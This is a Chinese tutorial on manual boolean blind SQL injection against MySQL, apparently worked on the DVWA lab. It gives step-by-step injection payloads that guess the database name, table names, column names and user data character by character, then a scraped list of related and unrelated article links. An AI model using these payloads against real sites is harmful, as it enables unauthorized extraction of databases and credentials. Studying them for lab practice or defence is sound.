MySQL手注之盲注(布尔)
布尔注入:
当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据。(盲注分为布尔盲注和时间盲注)
盲注常用函数:
length() 返回字符串的长度, 可以返回 数据库 表明 列名的 长度
substr() 截取字符串。subster(string, start, length) 字符串, 从第几位截取,截取长度是多少
ascil() 返回ascil码
基于时间盲注:
sleep(n) 将程序挂起一段时间,n为n秒
if(expr1,expr2,expr3) if判断语句
布尔注入流程:
1.判断是否存在注入,字符型还是数字型。
2.猜解当前数据库长度
这个注入过程就相当于 输入者跟数据库进行对话
你问: 1' and length (database())=1 # ( 这里猜测数据库名称为1个字符)
数据库回答: missing
继续猜测 1‘and length(database())=4 # 当我们输入到4的时候 数据库返回用户id存在 数据库中 ,那么可得出数据库名称为4位
猜名称 (二分法逐字猜解)
ascii码值: A到Z的ASCII码是65到90,a到z的ascii码值是97到122
首先,我们用二分法取中间数来猜取数据库名称的第一位字母
1' and ascii(substr(database(),1,1))>97 #
显示存在,说明数据库的第一个字母是大于或等于97的,
1' and ascii(substr(database(),1,1))<122 #
继续使用二分法测试,发现小于122
1' and ascii (substr(database(),1,1))<109 #
测试发现小于109
1' and ascii (substr(database(),1,1))<102 #
发现小于102继续测试
1' and ascii (substr(database(),1,1))<100 #
发现报错了,这就说明 数据库名称<=100
1' and ascii (substr(database(),1,1))<=100 #
数据库的第一位数字的ascii为100 即为d
剩下三位 只需更改substr 的 第二个参数 即可 获取完整的数据库名称
3.猜解表名 (猜解表的数量)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
显示存在,说明 这个数据库里有 2个表
(猜解第⼀个表名长度)
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
显示第一个表名的这个长度不为1. 继续测试
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #
不为2
.
.
.
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
这里显示猜出第一个表名的为9
接下来只要更改limit 的参数(1.1) 即可猜解第二张表的长度。
猜解第一个表的名字
1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >97 #
通过二分法和猜解数据库名称一样,取猜解表名。
最后猜解表名为 guestbook users
猜解表的字段名 数量:
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 #
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #
猜解第一个字段的长度
方法同猜解表名长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 #
猜解第一个字段名
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))>97 # 显⽰存在
猜解数据
依然是使用二分法猜解数据
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>96 #
MySQL手注之盲注(布尔)的更多相关文章
- MYSQL注入天书之盲注讲解
Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- mysql基于“时间”的盲注
无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- SQL注入--显注和盲注中过滤逗号绕过
SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
- sqli-labs lesson5-6 布尔盲注 报错注入 延时注入
LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...
- SQL注入----盲注总结
参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7 ...
- SQL盲注测试高级技巧
写在前面: 这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了.但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进. 正文: 首先来简单 ...
随机推荐
- vmd与ovito的对比
1.minimize后,lammps生成的data文件 2.pdb:
- 区块链入门到实战(34)之Solidity – 变量
Solidity 支持三种类型的变量: 状态变量 – 变量值永久保存在合约存储空间中的变量. 局部变量 – 变量值仅在函数执行过程中有效的变量,函数退出后,变量无效. 全局变量 – 保存在全局命名空间 ...
- 如何成为一位合格的ScrumMaster
嗨,大家好,我是叶子 ScrumMaster的职责简单理解为:确保团队按照scrum的方式运行,团队的教练,帮助团队更好的工作,过程中的执行者,能够在team和po之间平衡.移除项目进度的障碍,保护团 ...
- Python爬取网易云音乐歌手歌曲和歌单
仅供学习参考 Python爬取网易云音乐网易云音乐歌手歌曲和歌单,并下载到本地 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手.很多已经做 ...
- 【Android】Android开发实现带有反弹效果,仿IOS反弹scrollview详解教程
作者:程序员小冰,GitHub主页:https://github.com/QQ986945193 新浪微博:http://weibo.com/mcxiaobing 首先给大家看一下我们今天这个最终实现 ...
- JS中的数组,添加删除元素,判断是否存在一个值的方法总结
一.添加元素: 1:在最后添加,返回数组长度:arr.push(...); 2:在最前面添加,返回数组长度:arr.unshift(...); 3:在指定位置添加,没有返回值:arr[i] = xxx ...
- IDEA Activiti 画图中文乱码
画流程图时,如果节点的name填写的是中文,再次打开流程图时中文会显示乱码,如下图: 修改idea64.exe.vmoptions文件,在文件中加上如下代码: -Dfile.encoding=utf- ...
- Solon详解(六)- Solon的校验扩展框架使用与扩展
Solon详解系列文章: Solon详解(一)- 快速入门 Solon详解(二)- Solon的核心 Solon详解(三)- Solon的web开发 Solon详解(四)- Solon的事务传播机制 ...
- python应用 曲线拟合 01
双指数函数 待拟合曲线为 y(x) = bepx + ceqx import matplotlib.pyplot as plt x = ([0.05, 0.1, 0.15, 0.2, 0.25, 0. ...
- Vue cli4 图片地址引入的几种方式
五种图片地址引入方式 @开头,它也会作为一个模块请求被解析.它的用处在于Vue CLI默认会设置一个指向项目根目录/src的别名@